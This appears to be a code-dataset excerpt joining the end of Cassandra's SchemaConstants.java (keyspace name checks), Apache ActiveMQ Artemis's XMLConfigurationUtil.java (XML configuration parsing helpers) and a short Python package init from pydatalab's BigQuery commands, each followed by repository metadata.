public static final Set<String> REPLICATED_SYSTEM_KEYSPACE_NAMES =
ImmutableSet.of(TRACE_KEYSPACE_NAME, AUTH_KEYSPACE_NAME, DISTRIBUTED_KEYSPACE_NAME);
/**
* longest permissible KS or CF name. Our main concern is that filename not be more than 255 characters;
* the filename will contain both the KS and CF names. Since non-schema-name components only take up
* ~64 characters, we could allow longer names than this, but on Windows, the entire path should be not greater than
* 255 characters, so a lower limit here helps avoid problems. See CASSANDRA-4110.
*/
public static final int NAME_LENGTH = 48;
// 59adb24e-f3cd-3e02-97f0-5b395827453f
public static final UUID emptyVersion;
public static final List<String> LEGACY_AUTH_TABLES = Arrays.asList("credentials", "users", "permissions");
public static boolean isValidName(String name)
{
return name != null && !name.isEmpty() && name.length() <= NAME_LENGTH && PATTERN_WORD_CHARS.matcher(name).matches();
}
static
{
emptyVersion = UUID.nameUUIDFromBytes(Digest.forSchema().digest());
}
/**
* @return whether or not the keyspace is a really system one (w/ LocalStrategy, unmodifiable, hardcoded)
*/
public static boolean isLocalSystemKeyspace(String keyspaceName)
{
return LOCAL_SYSTEM_KEYSPACE_NAMES.contains(keyspaceName.toLowerCase());
}
/**
* @return whether or not the keyspace is a replicated system ks (system_auth, system_traces, system_distributed)
*/
public static boolean isReplicatedSystemKeyspace(String keyspaceName)
{
return REPLICATED_SYSTEM_KEYSPACE_NAMES.contains(keyspaceName.toLowerCase());
}
}
| clohfink/cassandra | src/java/org/apache/cassandra/schema/SchemaConstants.java | Java | apache-2.0 | 3,576 |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.activemq.artemis.utils;
import org.apache.activemq.artemis.core.config.impl.Validators;
import org.w3c.dom.Element;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
public class XMLConfigurationUtil {
public static final String getAttributeValue(Node element, String attribute) {
return element.getAttributes().getNamedItem(attribute).getNodeValue();
}
public static final String getTrimmedTextContent(Node element) {
String content = element.getTextContent();
if (content == null)
return null;
return content.trim();
}
public static final Double getDouble(final Element e,
final String name,
final double def,
final Validators.Validator validator) {
NodeList nl = e.getElementsByTagName(name);
if (nl.getLength() > 0) {
double val = XMLUtil.parseDouble(nl.item(0));
validator.validate(name, val);
return val;
} else {
validator.validate(name, def);
return def;
}
}
public static final String getString(final Element e,
final String name,
final String def,
final Validators.Validator validator) {
NodeList nl = e.getElementsByTagName(name);
if (nl.getLength() > 0) {
String val = nl.item(0).getTextContent().trim();
validator.validate(name, val);
return val;
} else {
validator.validate(name, def);
return def;
}
}
public static final Long getLong(final Element e,
final String name,
final long def,
final Validators.Validator validator) {
NodeList nl = e.getElementsByTagName(name);
if (nl.getLength() > 0) {
long val = XMLUtil.parseLong(nl.item(0));
validator.validate(name, val);
return val;
} else {
validator.validate(name, def);
return def;
}
}
public static final Long getTextBytesAsLongBytes(final Element e,
final String name,
final long def,
final Validators.Validator validator) {
NodeList nl = e.getElementsByTagName(name);
if (nl.getLength() > 0) {
long val = ByteUtil.convertTextBytes(nl.item(0).getTextContent().trim());
validator.validate(name, val);
return val;
} else {
validator.validate(name, def);
return def;
}
}
public static final Integer getInteger(final Element e,
final String name,
final int def,
final Validators.Validator validator) {
NodeList nl = e.getElementsByTagName(name);
if (nl.getLength() > 0) {
int val = XMLUtil.parseInt(nl.item(0));
validator.validate(name, val);
return val;
} else {
validator.validate(name, def);
return def;
}
}
public static final Integer getTextBytesAsIntBytes(final Element e,
final String name,
final int def,
final Validators.Validator validator) {
return getTextBytesAsLongBytes(e, name, def, validator).intValue();
}
public static final Boolean getBoolean(final Element e, final String name, final boolean def) {
NodeList nl = e.getElementsByTagName(name);
if (nl.getLength() > 0) {
return XMLUtil.parseBoolean(nl.item(0));
} else {
return def;
}
}
public static final Boolean parameterExists(final Element e, final String name) {
NodeList nl = e.getElementsByTagName(name);
if (nl.getLength() > 0) {
return true;
} else {
return false;
}
}
}
| cshannon/activemq-artemis | artemis-server/src/main/java/org/apache/activemq/artemis/utils/XMLConfigurationUtil.java | Java | apache-2.0 | 4,984 |
# Copyright 2015 Google Inc. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
# in compliance with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed under the License
# is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
# or implied. See the License for the specific language governing permissions and limitations under
# the License.
from __future__ import absolute_import
from . import _bigquery
__all__ = ['_bigquery']
| jdanbrown/pydatalab | google/datalab/bigquery/commands/__init__.py | Python | apache-2.0 | 679 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.